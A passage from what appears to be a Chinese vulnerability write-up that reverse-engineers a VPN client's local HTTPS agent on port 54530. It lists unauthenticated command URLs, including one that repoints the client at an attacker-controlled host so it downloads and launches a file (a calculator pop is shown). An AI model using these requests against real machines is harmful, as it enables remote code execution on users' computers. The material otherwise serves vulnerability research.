8000&amp;callback=EA_cb10000\n\nhttps:\/\/127.0.0.1:54530\/ECAgent\/?op=CheckReLogin&amp;arg1=3408a894633162c62188f98e92a221967dccfa5aafbd79b576714b4d1c392a4ad4b220d698efcd939c3b1b37467023e9380ee3abf0e492ee2efc736de757b80e973fe4c7d8af1af211a3f7ff3433cd9de975c76583efe7251dd1c0656f4384832998630359b65beb131cd8d287712462fa1b9e9acbc96dcc678b84cd57178c1a&amp;token=50065256e83ff1bb9e01757d0d22b669&amp;callback=EA_cb10003\n\nhttps:\/\/127.0.0.1:54530\/ECAgent\/?op=UpdateControls&amp;arg1=BEFORELOGIN&amp;callback=EA_cb10005\n<\/code><\/pre>\n\n<p>\u4f1a\u53d1\u73b0\u5ba2\u6237\u7aef\u8bf7\u6c42\u4e4b\u540e\uff0c\u5c06\u6587\u4ef6\u4e0b\u8f7d\u5230\u672c\u5730\u5e76\u542f\u52a8\u8be5\u7a0b\u5e8f\uff0c\u6210\u529f\u5f39\u51fa\u8ba1\u7b97\u5668\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020211010234504.png\" alt=\"\" \/><\/p>\n\n<h2 id=\"\u767d\u76d2\u9006\u5411\u4fa7\">\u767d\u76d2\uff08\u9006\u5411\uff09\u4fa7<\/h2>\n\n<p>\u6211\u4ece\u767d\u76d2\uff08\u9006\u5411\uff09\u4fa7\u7684\u89d2\u5ea6\uff0c\u5e26\u5165Web\u6f0f\u6d1e\u6316\u6398\u601d\u7ef4\uff0c\u5728\u4e0d\u5b8c\u5168\u5206\u6790\u4f2a\u4ee3\u7801\u7684\u60c5\u51b5\u4e0b<strong>\u63a8\u7406<\/strong>\u51fa\u6f0f\u6d1e\u3002\uff08\u4ec5\u5c1d\u8bd5\u5e26\u5165\uff0c\u975e\u5b9e\u6218\uff0c\u4e0d\u559c\u52ff\u55b7\uff09<\/p>\n\n<h3 id=\"http\u670d\u52a1\u7684\u5efa\u7acb\">HTTP\u670d\u52a1\u7684\u5efa\u7acb<\/h3>\n\n<h4 id=\"\u786e\u5b9a\u8fdb\u7a0b\">\u786e\u5b9a\u8fdb\u7a0b<\/h4>\n\n<p>\u9996\u5148\u8fdb\u884c\u67d0\u5ba2\u6237\u7aef\u7a0b\u5e8f\u7684\u5b89\u88c5\u5e76\u542f\u52a8\u5ba2\u6237\u7aef\u7a0b\u5e8f\uff0c\u7136\u540e\u9700\u8981\u4f7f\u7528Process Hacker\u4e4b\u7c7b\u7684\u5de5\u5177\u67e5\u770b\u8fdb\u7a0b\u6811\uff0c\u6839\u636e\u67d0\u72ec\u6709\u7684\u7279\u5f81\u5173\u952e\u8bcd<code>XXX<\/code>\u627e\u5230\u6253\u5f00\u7684\u8fdb\u7a0b\u3002<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220302092752.png\" alt=\"\" \/><\/p>\n\n<p>\u63a5\u7740\u6839\u636e\u8fdb\u7a0b\u67e5\u770b\u5176\u662f\u5426\u542f\u7528\u4e86\u7f51\u7edc\u670d\u52a1\uff08\u7aef\u53e3\u5f00\u653e\uff09\uff0c\u6211\u627e\u5230\u4e86<code>ECAgent.exe<\/code>\u8fd9\u4e2a\u8fdb\u7a0b\uff0c\u5e76\u4e14\u89c2\u5bdf\u5230\u5176\u542f\u7528\u4e86<code>54530<\/code>\u7aef\u53e3\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220301141006.png\" alt=\"\" \/><\/p>\n\n<p>\u5c1d\u8bd5\u4ee5HTTP\/HTTPS\u5f62\u5f0f\u8bbf\u95ee\u8be5\u7aef\u53e3\uff0c\u53d1\u73b0HTTPS\u8bbf\u95ee\u6709\u5177\u4f53\u8fd4\u56de\u5185\u5bb9\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220302093515.png\" alt=\"\" \/><\/p>\n\n<p>\u6545\u6b64\u5224\u65ad\u8be5\u8fdb\u7a0b\u6240\u542f\u7528\u7aef\u53e3\u4e3aHTTP\u670d\u52a1\u3002<\/p>\n\n<h4 id=\"\u5bfb\u627e\u5165\u53e3\">\u5bfb\u627e\u5165\u53e3<\/h4>\n\n<p>\u73b0\u5728\u9700\u8981\u627e\u5230\u7a0b\u5e8f\u5f00\u542fHTTP\u670d\u52a1\u7684\u5165\u53e3\u70b9\uff0c\u7531\u6b64\u624d\u80fd\u7ee7\u7eed\u53bb\u8ddf\u8fdb\u6574\u4e2a\u7a0b\u5e8f\u7684\u903b\u8f91\uff0c\u6211\u7b2c\u4e00\u65f6\u95f4\u60f3\u5230\u7684\u662f\u52a0\u8f7d\u7684DLL\u6587\u4ef6\uff0c\u9009\u62e9x32dbg\u9644\u52a0\u8fdb\u7a0b\u67e5\u770b\u5176\u6240\u52a0\u8f7d\u7684DLL\u6587\u4ef6\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220302132429.png\" alt=\"\" \/><\/p>\n\n<p>\u8fd9\u91cc\u6709\u5f88\u591a\u7cfb\u7edf\u7684DLL\u6587\u4ef6\uff0c\u53ef\u4ee5\u7565\u8fc7\uff0c\u4f18\u5148\u67e5\u770b\u4e0e<code>ECAgent.exe<\/code>\u6709\u5173\u8054\u6027\u7684DLL\u6587\u4ef6\uff0c\u4f8b\u5982\u5176\u540c\u7ea7\u76ee\u5f55\u4e0b\u7684\u51e0\u4e2aDLL\uff08\u4e5f\u90fd\u88ab\u52a0\u8f7d\u4e86\uff09\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220302132839.png\" alt=\"\" \/><\/p>\n\n<p>\u901a\u8fc7IDA\u6253\u5f00\u8fd9\u4e9bDLL\u6587\u4ef6\uff0c\u5e76\u4f7f\u7528\u5173\u952e\u8bcd<code>127.0.0.1<\/code>\u3001<code>0.0.0.0<\/code>\u3001<code>54530<\/code>\u641c\u7d22\u76f8\u5173\u6570\u636e\uff0c\u627e\u5230\u5bf9\u5e94\u4f7f\u7528\u7684\u4ee3\u7801\uff08F5\u4f2a\u4ee3\u7801\uff0c\u5982\u4e0b\u56fe\u4e2d\u51fd\u6570\u5730\u5740\u4e0d\u4e00\u81f4\u65f6\u56e0\u4e3a\u6211\u5728\u8c03\u8bd5\u8fc7\u7a0b\u4e2d\u8fdb\u884c\u4e86REBASE\uff09\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220301141941.png\" alt=\"\" \/><\/p>\n\n<p>\u5982\u4e0a\u56fe\u4ee3\u7801\u4e2d\uff0c\u5f88\u660e\u663e\u8fd9\u662fWINSOCK\u7f16\u7a0b\u7684\u5199\u6cd5\uff0c\u5176\u4e2d\u7684\u7ed3\u6784\u4f53<code>sockaddr<\/code>\u5b9e\u9645\u4e0a\u7b49\u4ef7\u4e8e<code>sockaddr_in<\/code>\uff0c\u4e8c\u8005\u552f\u4e00\u7684\u533a\u522b\u662f<code>sockaddr_in<\/code>\u7ed3\u6784\u4f53\u6709\u660e\u786e\u7684\u6210\u5458\u53bb\u6307\u5b9aIP\u3001\u7aef\u53e3\uff0c\u800c<code>sockaddr<\/code>\u7ed3\u6784\u4f53\u5219\u662f\u4f7f\u7528\u6210\u5458<code>sa_data<\/code>\uff08\u8fd9\u662f\u4e00\u4e2a\u6570\u7ec4\uff09\u53bb\u5305\u542bIP\u3001\u7aef\u53e3\u4e4b\u7c7b\u7684\u4fe1\u606f\u3002<\/p>\n\n<p>\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u5c31\u662f\u4e00\u4e2a\u4e24\u7ed3\u6784\u4f53\u4e4b\u95f4\u7684\u5bf9\u5e94\u56fe\uff0c\u7aef\u53e3\u5b58\u653e\u5728<code>sa_data<\/code>\u7684\u7b2c0\u30011\u4f4d\uff0cIP\u5b58\u653e\u5728<code>sa_data<\/code>\u7684\u7b2c2\u30013\u30014\u30015\u4f4d\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220302134038.png\" alt=\"\" \/><\/p>\n\n<p>\u4f46\u662f\u5728\u8fd9\u91cc\uff0c\u5b9e\u9645\u73af\u5883\u4e2d\u7684\u4ee3\u7801\u5bf9\u5e94\u7684\u7aef\u53e3\u5c45\u7136\u4e3a0\uff0c\u5b9e\u9645\u6d4b\u8bd5\uff0c\u53d1\u73b0\u8fd9\u6837\u7684\u8d4b\u503c\u662f\u65e0\u6cd5\u521b\u5efa\u6210\u529f\u7684\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220302134453.png\" alt=\"\" \/><\/p>\n\n<p>\u6211\u9677\u5165\u4e86\u6c89\u601d\uff0c\u83ab\u975e\u662f\u627e\u9519\u4f4d\u7f6e\u4e86\uff1f\u5e76\u4e0d\u662f\u8fd9\u4e2aDLL\u6587\u4ef6\u53bb\u5f00\u542f\u7684Web\u670d\u52a1\uff1f\u5e26\u7740\u8fd9\u4e00\u4efd\u6c89\u601d\u53bb\u627e\u4e86\u5f88\u591a\u4e2aDLL\uff0c\u53d1\u73b0\u5b83\u4eec\u8981\u4e48\u662f0\uff0c\u8981\u4e48\u5c31\u662f\u5176\u4ed6\u7aef\u53e3\uff0c\u800c\u4e0d\u662f\u5bf9\u5e94\u7684<code>54530<\/code>\u3002<\/p>\n\n<p>\u5728\u4e0d\u65ad\u7684\u8bd5\u9519\u4e4b\u540e\uff0c\u6211\u53d1\u73b0\u4e86\u81ea\u5df1\u4ece\u672a\u53bb\u770b\u8fc7<code>ECAgent.exe<\/code>\u672c\u8eab\uff0c\u800c\u5c1d\u8bd5\u53bb<code>ECAgent.exe<\/code>\u641c\u7d22\u5b57\u7b26\u4e32\u65f6\uff0c\u4e5f\u6ca1\u6709\u4ec0\u4e48\u6536\u83b7\uff0c\u4e8e\u662f\u60f3\u7740\u65e2\u7136\u4e00\u4e2aDLL\u4e2d\u7528\u5230\u4e86WINSOCK\u7684\u5e93\u53bb\u521b\u5efaSOCKET\uff0c\u90a3\u4e48\u5e94\u8be5\u90fd\u4f1a\u8fd9\u6837\u53bb\u7f16\u5199\uff0c\u6240\u4ee5\u5c1d\u8bd5\u4f7f\u7528\u521b\u5efaSOCKET\u670d\u52a1\u7279\u6709\u7684\u51fd\u6570\u540d<code>bind<\/code>\u53bb\u5168\u5c40\u641c\u7d22\uff0c\u641c\u7d22\u7ed3\u679c\u5982\u4e0b\u56fe\u6240\u793a\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220302135614.png\" alt=\"\" \/><\/p>\n\n<p>\u63a5\u4e0b\u6765\u5c31\u662f\u4e00\u4e2a\u4e00\u4e2a\u51fd\u6570\u8ddf\u8fdb\u53bb\u67e5\u770b\uff0c\u6700\u7ec8\u6211\u53d1\u73b0\u4e86\u5b83<code>sub_47FD60<\/code>\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff0c<code>sub_47FD60<\/code>\u662f\u521b\u5efaSOCKET\u7684\u51fd\u6570\uff0c\u4f46\u662f\u7ed1\u5b9a\u7684\u7aef\u53e3\u662f\u5165\u53c2\uff0c\u6240\u4ee5\u6211\u9700\u8981\u627e\u5230\u8c03\u7528\u8be5\u51fd\u6570\u7684\u51fd\u6570\uff0c\u4e5f\u5c31\u662f<code>sub_47FEB0<\/code>\uff0c\u8fd9\u4e2a\u51fd\u6570\u4f1a\u4f7f\u7528\u4e00\u4e2a\u5faa\u73af\uff0c\u5165\u53c2\u7684\u7aef\u53e3\u4e5f\u4f1a\u968f\u7740\u5faa\u73af\u9012\u589e\uff08\u5e94\u8be5\u662f\u4e3a\u4e86\u9632\u6b62\u7aef\u53e3\u51b2\u7a81\u7684\u60c5\u51b5\uff09\uff0c\u5f53\u521b\u5efaSOCKET\u6210\u529f\u4e4b\u540e\u5c31\u76f4\u63a5\u8fd4\u56de\u3002<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220302140849.png\" alt=\"\" \/><\/p>\n\n<p>\u5c06\u8fd9\u6bb5\u4f2a\u4ee3\u7801\u7f16\u8bd1\u6267\u884c\u4e00\u4e0b\uff0c\u8f93\u51fa\u7ed3\u679c\uff0c\u5c31\u53d1\u73b0\u7b2c\u4e00\u4e2a\u5165\u53c2\u7684\u7aef\u53e3\u662f<code>54530<\/code>\uff0c\u5e76\u4e14\u7406\u8bba\u4e0a\u4e0d\u4f1a\u6709\u5176\u4ed6\u7684\u8f6f\u4ef6\u5360\u7528\u8fd9\u4e2a\u7aef\u53e3\uff0c\u6240\u4ee5\uff0c\u6211\u8ba4\u4e3a<code>ECAgent.exe<\/code>\u7684HTTP\u670d\u52a1\u7aef\u53e3\u5c31\u662f<code>54530<\/code>\u3002<\/p>\n\n<h3 id=\"\u63a5\u53e3\u53c2\u6570\u7684\u5904\u7406\u903b\u8f91\">\u63a5\u53e3\u53c2\u6570\u7684\u5904\u7406\u903b\u8f91<\/h3>\n\n<p>\u5206\u6790\u5b8cHTTP\u670d\u52a1\u7684\u5efa\u7acb\u4e4b\u540e\uff0c\u6211\u60f3\u8981\u77e5\u9053\u5176\u5177\u4f53\u5982\u4f55\u5904\u7406\u8bf7\u6c42\u53c2\u6570\uff0c\u53ef\u4ee5\u5728\u6b64\u51fd\u6570\u57fa\u7840\u4e0a\u7ee7\u7eed\u56de\u6eaf\u8ffd\u8e2a\u8c03\u7528\u94fe\uff0c\u4f46\u662f\u8fd9\u6837\u7684\u5de5\u4f5c\u91cf\u662f\u5de8\u5927\u7684\uff0c\u4e0d\u9002\u5408\u5feb\u901f\u5206\u6790\uff0c\u6240\u4ee5\u6211\u9996\u5148\u6839\u636eHTTP\u670d\u52a1\u7684\u54cd\u5e94\u5b57\u7b26\u4e32\u4e8eIDA\u4e2d\u641c\u7d22\uff0c\u518d\u6839\u636e\u5b57\u7b26\u4e32\u7684XREF\uff0c\u627e\u5230\u5176\u5bf9\u5e94\u4f7f\u7528\u5230\u7684\u51fd\u6570\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220302180222.png\" alt=\"\" \/><\/p>\n\n<p>\u5982\u4e0a\u56fe\u6240\u793a\u4ee3\u7801\uff0c\u5927\u6982\u610f\u601d\u5c31\u662f\u6709\u4e00\u4e2a\u6570\u7ec4\uff0c\u5b58\u5165\u4e86\u5b57\u7b26\u4e32\u548c\u51fd\u6570\u5730\u5740\uff0c\u6839\u636e\u5165\u53c2\u8fdb\u884c\u7c7b\u4f3c\u5bf9\u6bd4\uff0c\u800c\u540e\u53bb\u8c03\u7528\u51fd\u6570\u3002<\/p>\n\n<p>\u5728\u8fd9\u91cc\u7b2c\u4e8c\u4e2a\u53c2\u6570<code>a2<\/code>\u81f3\u5173\u91cd\u8981\uff08\u5b83\u5728\u6761\u4ef6\u5224\u65ad\u3001\u51fd\u6570\u5165\u53c2\u4e2d\u90fd\u88ab\u4f7f\u7528\u5230\uff09\uff0c\u6240\u4ee5\u6211\u63a5\u7740\u8ddf\u8be5\u51fd\u6570\u7684XREF\uff0c\u627e\u5230\u4f20\u9012\u53c2\u6570<code>v26<\/code>\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220303093911.png\" alt=\"\" \/><\/p>\n\n<p>\u8ddf\u8fdb\u5904\u7406\u8fc7<code>v26<\/code>\u7684\u51fd\u6570\uff0c<code>sub_48E2C0<\/code>\u51fd\u6570\u6253\u5f00\u4e86\u4e16\u754c\u7684\u5927\u95e8\uff0c\u6839\u636e\u5176\u51fd\u6570\u7684\u8f93\u51fa\u5b57\u7b26\u4e32\u548c\u4ee3\u7801\uff0c\u6b64\u51fd\u6570\u5927\u6982\u8868\u8fbe\u610f\u601d\u5c31\u662f\u53bb\u89e3\u6790URL\u4e2d\u7684\u8bf7\u6c42\u53c2\u6570\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220303094307.png\" alt=\"\" \/><\/p>\n\n<p>\u6240\u4ee5\uff0c\u8fd9\u91cc\u6211\u5c31\u53ef\u4ee5\u5217\u51fa\u8fd9\u51e0\u4e2a\u53c2\u6570\uff1a<\/p>\n\n<pre><code>op\ntoken\ncallback\nguid\n<\/code><\/pre>\n\n<p>\u5c06\u53c2\u6570\u5e26\u5165URL\u4e2d\uff0c\u5206\u522b\u52a0\u4e0a<code>123<\/code>\u53c2\u6570\u503c\u53bb\u8bbf\u95ee\uff1a<\/p>\n\n<pre><code>https:\/\/127.0.0.1:54530\/?op=123\nhttps:\/\/127.0.0.1:54530\/?token=123\nhttps:\/\/127.0.0.1:54530\/?callback=123\nhttps:\/\/127.0.0.1:54530\/?guid=123\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220303100233.png\" alt=\"\" \/><\/p>\n\n<p>\u5982\u4e0a\u56fe\u6240\u793a\uff0c\u8bf7\u6c42\u53c2\u6570<code>callback<\/code>\u6709\u5bf9\u5e94\u7684\u53cd\u56de\u4fe1\u606f\uff0c\u5c1d\u8bd5\u8fdb\u884cXSS\u65e0\u679c\uff0c\u63a5\u7740\u5728IDA\u4e2d\u641c\u7d22<code>callback<\/code>\u5b57\u7b26\u4e32\u627e\u627e\u662f\u5426\u6709\u5bf9\u5e94\u7684\u903b\u8f91\uff0c\u53d1\u73b0\u4e86\u591a\u4e2aURL\u7684\u5730\u5740\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220303102028.png\" alt=\"\" \/><\/p>\n\n<p>\u8fd9\u4e9bURL\u5730\u5740\u8bc1\u660e\u4e86\u53c2\u6570<code>op<\/code>\u3001<code>token<\/code>\u3001<code>callback<\/code>\u53ef\u4ee5\u642d\u914d\u5728\u4e00\u5757\u53bb\u8bf7\u6c42\u4f7f\u7528\uff0c\u6211\u4e8e\u6b64\u5904\u9010\u6e10\u9012\u51cf\u53c2\u6570\u8bbf\u95ee\uff08\u8003\u8651\u5230<code>token<\/code>\u53c2\u6570\u53ef\u80fd\u4f1a\u5b58\u5728\u9274\u6743\u7b49\u64cd\u4f5c\uff09\uff1a<\/p>\n\n<pre><code>https:\/\/127.0.0.1:54530\/?op=__restart_ecagent__&amp;token=123&amp;callback=123\nhttps:\/\/127.0.0.1:54530\/?op=__restart_ecagent__&amp;token=123\nhttps:\/\/127.0.0.1:54530\/?op=__restart_ecagent__\n<\/code><\/pre>\n\n<p>\u6700\u7ec8\u53d1\u73b0\uff0c\u8fd9\u4e09\u6761\u8bf7\u6c42\u90fd\u53ef\u4ee5\u4f7f\u5f97<code>ECAgent.exe<\/code>\u8fdb\u7a0b\u91cd\u542f\uff0c\u800c<code>op=__stop_ecagent__<\/code>\u5219\u6d4b\u8bd5\u53ef\u4ee5\u505c\u6b62<code>ECAgent.exe<\/code>\u8fdb\u7a0b\u3002<\/p>\n\n<h4 id=\"\u8f93\u5165\u53c2\u6570\">\u8f93\u5165\u53c2\u6570<\/h4>\n\n<p>\u7b80\u5355\u68b3\u7406\u5b8c\u63a5\u53e3\u53c2\u6570\u7684\u5904\u7406\u903b\u8f91\u4e4b\u540e\uff0c\u6211\u5bf9<code>op<\/code>\u503c\u5bf9\u5e94\u7684\u51fd\u6570\u90fd\u770b\u4e86\u4e0b\uff0c\u6709\u5f88\u591a\u51fd\u6570\u65e0\u6cd5\u901a\u8fc7\u9759\u6001\u7684\u65b9\u5f0f\u53bb\u5206\u6790\uff0c\u4f46\u6839\u636e\u5b57\u9762\u610f\u601d\u4e5f\u80fd\u7406\u89e3\u4e2a\u5927\u6982\uff1a<\/p>\n\n<pre><code class=\"language-c\">v7 = \"__check_alive__\";\nv8[0] = (int)sub_48F700;\nv8[1] = (int)\"CheckRelogin\"; \/\/ \u68c0\u67e5\u91cd\u65b0\u767b\u5f55\nv8[2] = (int)sub_4935E0;\nv8[3] = (int)\"DoConfigure\"; \/\/ \u505a\u914d\u7f6e\nv8[4] = (int)sub_490800;\nv8[5] = (int)\"GetConfig\"; \/\/ \u83b7\u53d6\u914d\u7f6e\nv8[6] = (int)sub_48FB30;\nv8[7] = (int)\"InitECAgent\"; \/\/ \u521d\u59cb\u5316ECAgent\nv8[8] = (int)sub_48F720;\nv8[9] = (int)\"GetEncryptKey\"; \/\/ \u83b7\u53d6\u52a0\u5bc6key\nv8[10] = (int)sub_493540;\nv8[11] = (int)\"Setter\";\nv8[12] = (int)sub_493960;\nv8[13] = (int)\"Getter\";\nv8[14] = (int)sub_494190;\nv8[15] = (int)\"__restart_ecagent__\"; \/\/ \u91cd\u542fECAgent\nv8[16] = (int)sub_4903E0;\nv8[17] = (int)\"__stop_ecagent__\"; \/\/ \u505c\u6b62ECAgent\nv8[18] = (int)sub_491510;\nv8[19] = (int)\"DetectECAgent\"; \/\/ \u68c0\u6d4bECAgent\nv8[20] = (int)sub_48F6C0;\n<\/code><\/pre>\n\n<p>\u4f46\u6709\u4e9b\u64cd\u4f5c\u80af\u5b9a\u662f\u9700\u8981\u53e6\u5916\u4e00\u4e2a\u53c2\u6570\u53bb\u8d4b\u503c\u914d\u5408\u7684\uff0c\u6240\u4ee5\u6211\u6839\u636e\u4e4b\u524d\u83b7\u53d6\u7684\u53c2\u6570\u5217\u8868\u5728IDA\u4e2d\u641c\u7d22\u5b57\u7b26\u4e32\uff0c\u6211\u53d1\u73b0\u5728\u8fd9\u4e9b\u53c2\u6570\u4e2d\u5939\u6742\u7740\u4e00\u4e2a\u53cc\u5b57<code>dd -&gt; Define Double Word<\/code>\uff0cIDA\u6ca1\u6709\u5c06\u5b83\u76f4\u63a5\u89e3\u6790\u51fa\u6765\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304094407.png\" alt=\"\" \/><\/p>\n\n<p>\u6211\u9009\u4e2d\u5b83\u6309\u4e0b\u5feb\u6377\u952e<code>A<\/code>\u5c06\u5176\u8f6c\u4e3a\u5b57\u7b26\u4e32\u5f62\u5f0f\uff0c\u5f97\u5230\u4e86\u5b57\u7b26\u4e32<code>arg<\/code>\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304095308.png\" alt=\"\" \/><\/p>\n\n<p>\u65e2\u7136\u662f\u4e0e\u53c2\u6570\u5728\u4e00\u5757\u7684\uff0c\u90a3\u4e48\u6211\u4e5f\u5c06\u5176\u4f5c\u4e3a\u53c2\u6570\u6dfb\u52a0\u5230URL\u4e2d\uff0c\u5e76\u4e0e\u6dfb\u52a0\u53c2\u6570\u4e4b\u524d\u7684URL\uff0c\u5206\u522b\u8bf7\u6c42\u5bf9\u6bd4\u54cd\u5e94\uff1a<\/p>\n\n<pre><code>https:\/\/127.0.0.1:54530\/?op=CheckRelogin\nhttps:\/\/127.0.0.1:54530\/?op=DoConfigure\nhttps:\/\/127.0.0.1:54530\/?op=GetConfig\nhttps:\/\/127.0.0.1:54530\/?op=InitECAgent\nhttps:\/\/127.0.0.1:54530\/?op=GetEncryptKey\n\nhttps:\/\/127.0.0.1:54530\/?op=CheckRelogin&amp;arg=123\nhttps:\/\/127.0.0.1:54530\/?op=DoConfigure&amp;arg=123\nhttps:\/\/127.0.0.1:54530\/?op=GetConfig&amp;arg=123\nhttps:\/\/127.0.0.1:54530\/?op=InitECAgent&amp;arg=123\nhttps:\/\/127.0.0.1:54530\/?op=GetEncryptKey&amp;arg=123\n<\/code><\/pre>\n\n<p>CheckRelogin\uff0c\u6dfb\u52a0\u524d\u63d0\u793a<code>invalid param count<\/code>\uff0c\u6dfb\u52a0\u540e\u5c31\u4e0d\u63d0\u793a\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304111032.png\" alt=\"\" \/><\/p>\n\n<p>DoConfigure\uff0c\u6dfb\u52a0\u524d\u8fd4\u56de\u4e3a\u7a7a\uff0c\u6dfb\u52a0\u540e\u8fd4\u56de\u6709\u5185\u5bb9\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304111231.png\" alt=\"\" \/><\/p>\n\n<p>GetConfig\uff0c\u6dfb\u52a0\u524d\u8fd4\u56de\u6709\u5185\u5bb9\uff0c\u6dfb\u52a0\u540e\u8fd4\u56de\u4e3a\u7a7a\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304111325.png\" alt=\"\" \/><\/p>\n\n<p>InitECAgent\uff0c\u6dfb\u52a0\u524d\u8fd4\u56de\u4e3a\u7a7a\uff0c\u6dfb\u52a0\u540e\u8fd4\u56de\u6709\u5185\u5bb9\uff0c\u5e76\u63d0\u793a<code>CSCM_EXIST, init ok<\/code>\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304111430.png\" alt=\"\" \/><\/p>\n\n<p>GetEncryptKey\uff0c\u6dfb\u52a0\u524d\u540e\u8fd4\u56de\u5185\u5bb9\u6ca1\u6709\u53d8\u5316\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304132748.png\" alt=\"\" \/><\/p>\n\n<p>\u6839\u636e\u5bf9\u6bd4\uff0c <code>arg<\/code>\u786e\u5b9e\u53ef\u4ee5\u4f5c\u4e3a\u53c2\u6570\u53bb\u8bf7\u6c42\uff0c\u4f46\u5177\u4f53\u662f\u4ec0\u4e48\u610f\u4e49\uff0c\u8fd8\u9700\u8981\u53bb\u770b\u529f\u80fd\u5b9e\u73b0\uff0c\u7531\u4e8e\u6211\u6c34\u5e73\u6709\u9650\uff0c\u5728\u9605\u8bfb\u9759\u6001\u4ee3\u7801\u65f6\u9047\u5230\u5f88\u591a\u574e\uff0c\u6240\u4ee5\u6839\u636e\u81ea\u5df1\u7684\u5927\u6982\u7406\u89e3\uff0c\u5224\u65ad\u51fa\u8be5\u7a0b\u5e8f\u4f1a\u8f93\u51faLog\u65e5\u5fd7\u3002<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304112207.png\" alt=\"\" \/><\/p>\n\n<p>\u4e8e\u662f\u5728\u78c1\u76d8\u6587\u4ef6\u4e2d\u53bb\u5bfb\u627eLog\u6587\u4ef6\uff0c\u6700\u7ec8\u5728<code>C:\\Users\\chen\\AppData\\Roaming\\XXX\\SSL\\Log<\/code>\u4e2d\u627e\u5230\u4e86\u8f93\u51fa\u65e5\u5fd7\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304112256.png\" alt=\"\" \/><\/p>\n\n<p>\u6839\u636e<code>ECAgent.exe.log<\/code>\u65e5\u5fd7\u8bb0\u5f55\u53ef\u4ee5\u770b\u51fa\u7a0b\u5e8f\u5904\u7406\u7684\u903b\u8f91\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304112633.png\" alt=\"\" \/><\/p>\n\n<ol>\n  <li>CheckRelogin\u5bf9arg\u53c2\u6570\u8fdb\u884c\u4e86\u89e3\u5bc6\uff1b<\/li>\n  <li>GetConfig\u6839\u636earg\u53c2\u6570\u8fdb\u884c\u8bfb\u53d6\u914d\u7f6e\uff1b<\/li>\n  <li>InitECAgent\u6839\u636earg\u53c2\u6570\u914d\u7f6e\u4e86VPN\u5730\u5740\uff08HTTPS\uff09\u3002<\/li>\n<\/ol>\n\n<p>CheckRelogin\u89e3\u5bc6\u6b63\u597d\u5bf9\u5e94\u7740GetEncryptKey\u7684\u8fd4\u56de\u52a0\u5bc6\u4fe1\u606f\uff0c\u4e8e\u662f\u5c1d\u8bd5\u5e26\u5165\u5e76\u6839\u636e\u65e5\u5fd7\u53d1\u73b0\u8bb0\u5f55\u7684\u4fe1\u606f\u4e0d\u4e00\u6837\u4e86\uff0c\u6240\u4ee5\u5728\u8fd9\u91cc\u6211\u6682\u65f6\u5c06\u5176\u6401\u7f6e\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304133139.png\" alt=\"\" \/><\/p>\n\n<p>\u63a5\u7740\u6765\u770b\u914d\u7f6eVPN\u5ba2\u6237\u7aef\u7684\u670d\u52a1\u5730\u5740\uff0c\u5c1d\u8bd5\u8bf7\u6c42\u5982\u4e0b\u5730\u5740\uff0c\u5c06\u670d\u52a1\u5668\u5730\u5740\u6307\u5411\u6211\u7684\u673a\u5668\uff1a<\/p>\n\n<pre><code>https:\/\/127.0.0.1:54530\/?op=InitECAgent&amp;arg=172.20.10.3\n<\/code><\/pre>\n\n<p>\u968f\u540e\u53bb\u8bf7\u6c42\u5176\u4ed6<code>op<\/code>\u53c2\u6570\u503c\u7684\u5730\u5740\uff0c\u5076\u7136\u95f4\u53d1\u73b0\u8bf7\u6c42\u5982\u4e0b\u5730\u5740\uff08GetConfig\u7684arg\u53c2\u6570\u4e3a0\u6216\u5b57\u7b26\u4e32\uff09\uff1a<\/p>\n\n<pre><code>https:\/\/127.0.0.1:54530\/?op=GetConfig&amp;arg=abc\n<\/code><\/pre>\n\n<p>VPN\u5ba2\u6237\u7aef\u4f1a\u53bb\u8bf7\u6c42<code>https:\/\/172.20.10.3\/com\/WindowsModule.xml<\/code>\uff0c\u5982\u4e0b\u56fe\u6240\u793a\u5c31\u662f\u5ba2\u6237\u7aef\u8bf7\u6c42\u670d\u52a1\u7aef\u7684HTTP\u65e5\u5fd7\uff1a<\/p>\n\n<p><img src=\"\/images\/2021-05-05\/Pasted%20image%2020220304125709.png\" alt=\"\" \/><\/p>\n\n<p>\u5e76\u4e14\u4f1a\u5c06\u8be5\u6587\u4ef6\u7684XML\u683c\u5f0f\u8f6c\u4e3aJSON\u683c\u5f0f\u8f93\u51fa\uff1a<\/p>\n\n<p><img 